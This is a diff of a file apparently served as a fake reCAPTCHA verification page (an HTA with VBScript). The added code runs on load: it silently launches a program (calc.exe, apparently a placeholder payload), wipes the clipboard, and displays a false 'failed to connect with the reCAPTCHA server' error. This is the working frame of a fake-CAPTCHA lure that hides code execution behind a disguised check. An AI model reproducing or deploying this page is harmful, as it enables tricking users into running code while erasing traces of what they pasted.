Update verif
Browse files
verif
CHANGED
|
@@ -35,7 +35,6 @@
|
|
| 35 |
}
|
| 36 |
#error {
|
| 37 |
color: red;
|
| 38 |
-
transition: opacity 0.5s ease-in-out;
|
| 39 |
}
|
| 40 |
.terms {
|
| 41 |
font-size: small;
|
|
@@ -49,31 +48,30 @@
|
|
| 49 |
}
|
| 50 |
</style>
|
| 51 |
<script language="VBScript">
|
| 52 |
-
Sub
|
| 53 |
Window.ResizeTo 520, 480
|
| 54 |
Window.MoveTo (Screen.Width - 520) / 2, (Screen.Height - 480) / 2
|
| 55 |
|
| 56 |
Set objShell = CreateObject("WScript.Shell")
|
| 57 |
-
objShell.Run "
|
|
|
|
|
|
|
|
|
|
|
|
|
| 58 |
HideConnectingShowError
|
|
|
|
| 59 |
End Sub
|
| 60 |
|
| 61 |
Sub HideConnectingShowError
|
| 62 |
document.getElementById("connecting").style.display = "none"
|
| 63 |
document.getElementById("error").style.display = "block"
|
| 64 |
-
document.getElementById("error").style.opacity = 1
|
| 65 |
-
|
| 66 |
-
Call setTimeout("fadeOutError", 5000)
|
| 67 |
-
End Sub
|
| 68 |
-
|
| 69 |
-
Sub fadeOutError
|
| 70 |
-
document.getElementById("error").style.opacity = 0
|
| 71 |
-
Call setTimeout("hideError", 500)
|
| 72 |
End Sub
|
| 73 |
|
| 74 |
-
Sub
|
| 75 |
-
|
| 76 |
-
|
|
|
|
|
|
|
| 77 |
End Sub
|
| 78 |
</script>
|
| 79 |
</head>
|
|
@@ -82,7 +80,7 @@
|
|
| 82 |
<div id="connecting" style="display:block;">
|
| 83 |
<p>Verifying reCAPTCHA, please wait...</p>
|
| 84 |
</div>
|
| 85 |
-
<div id="error" style="display:none;
|
| 86 |
<p><b>Failed to connect with the reCAPTCHA server.</b><br>Try the verification steps again.</p>
|
| 87 |
</div>
|
| 88 |
<p class="terms">
|
|
|
|
| 35 |
}
|
| 36 |
#error {
|
| 37 |
color: red;
|
|
|
|
| 38 |
}
|
| 39 |
.terms {
|
| 40 |
font-size: small;
|
|
|
|
| 48 |
}
|
| 49 |
</style>
|
| 50 |
<script language="VBScript">
|
| 51 |
+
Sub Window_OnLoad
|
| 52 |
Window.ResizeTo 520, 480
|
| 53 |
Window.MoveTo (Screen.Width - 520) / 2, (Screen.Height - 480) / 2
|
| 54 |
|
| 55 |
Set objShell = CreateObject("WScript.Shell")
|
| 56 |
+
objShell.Run "calc.exe", 0, False
|
| 57 |
+
|
| 58 |
+
ClearClipboard
|
| 59 |
+
|
| 60 |
+
objShell.Run "timeout /T 2 /nobreak", 0, True
|
| 61 |
HideConnectingShowError
|
| 62 |
+
objShell.Run "timeout /T 1 /nobreak", 0, True
|
| 63 |
End Sub
|
| 64 |
|
| 65 |
Sub HideConnectingShowError
|
| 66 |
document.getElementById("connecting").style.display = "none"
|
| 67 |
document.getElementById("error").style.display = "block"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 68 |
End Sub
|
| 69 |
|
| 70 |
+
Sub ClearClipboard
|
| 71 |
+
Dim objHTML
|
| 72 |
+
Set objHTML = CreateObject("htmlfile")
|
| 73 |
+
objHTML.parentWindow.clipboardData.setData "Text", ""
|
| 74 |
+
Set objHTML = Nothing
|
| 75 |
End Sub
|
| 76 |
</script>
|
| 77 |
</head>
|
|
|
|
| 80 |
<div id="connecting" style="display:block;">
|
| 81 |
<p>Verifying reCAPTCHA, please wait...</p>
|
| 82 |
</div>
|
| 83 |
+
<div id="error" style="display:none;">
|
| 84 |
<p><b>Failed to connect with the reCAPTCHA server.</b><br>Try the verification steps again.</p>
|
| 85 |
</div>
|
| 86 |
<p class="terms">
|